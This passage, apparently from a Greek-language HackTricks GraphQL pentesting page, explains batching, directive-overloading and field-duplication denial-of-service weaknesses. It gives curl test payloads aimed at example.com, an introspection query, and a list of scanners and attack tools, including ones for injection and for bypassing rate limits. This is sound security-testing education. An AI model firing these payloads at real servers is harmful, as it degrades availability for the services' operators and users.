Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε Άρνηση Υπηρεσίας (DoS). Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Σε αυτό το παράδειγμα, 10 διαφορετικά ερωτήματα ομαδοποιούνται σε ένα αίτημα, αναγκάζοντας τον διακομιστή να εκτελέσει όλα ταυτόχρονα. Εάν εκμεταλλευτεί με μεγαλύτερο μέγεθος ομαδοποίησης ή υπολογιστικά δαπανηρά ερωτήματα, μπορεί να υπερφορτώσει τον διακομιστή.

Ευπάθεια Υπερφόρτωσης Οδηγιών

Υπερφόρτωση Οδηγιών συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε Denial of Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Σημειώστε ότι στο προηγούμενο παράδειγμα το @aa είναι μια προσαρμοσμένη οδηγία που μπορεί να μην έχει δηλωθεί. Μια κοινή οδηγία που συνήθως υπάρχει είναι η @include:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Μπορείτε επίσης να στείλετε ένα ερώτημα introspection για να ανακαλύψετε όλες τις δηλωμένες οδηγίες:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Και στη συνέχεια χρησιμοποιήστε μερικά από τα προσαρμοσμένα.

Ευπάθεια Διπλασιασμού Πεδίου

Διπλασιασμός Πεδίου είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε Άρνηση Υπηρεσίας (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Εργαλεία

Σαρωτές ευπαθειών

  • https://github.com/dolevf/graphql-cop: Δοκιμάστε κοινές κακές ρυθμίσεις των graphql endpoints
  • https://github.com/assetnote/batchql: Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
  • https://github.com/dolevf/graphw00f: Αναγνωρίστε το graphql που χρησιμοποιείται
  • https://github.com/gsmith257-cyber/GraphCrawler: Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή Burp extension.
  • https://github.com/swisskyrepo/GraphQLmap: Μπορεί να χρησιμοποιηθεί και ως CLI client για αυτοματοποίηση επιθέσεων: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL.
  • https://github.com/doyensec/GQLSpection: Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
  • https://github.com/doyensec/inql: Burp extension ή σενάριο python για προηγμένο έλεγχο GraphQL. Ο Σαρωτής είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το Συστατικό Επιθέσεων σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.

Σενάρια για εκμετάλλευση κοινών ευπαθειών

Πελάτες

Αυτόματοι Έλεγχοι

https://graphql-dashboard.herokuapp.com/

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks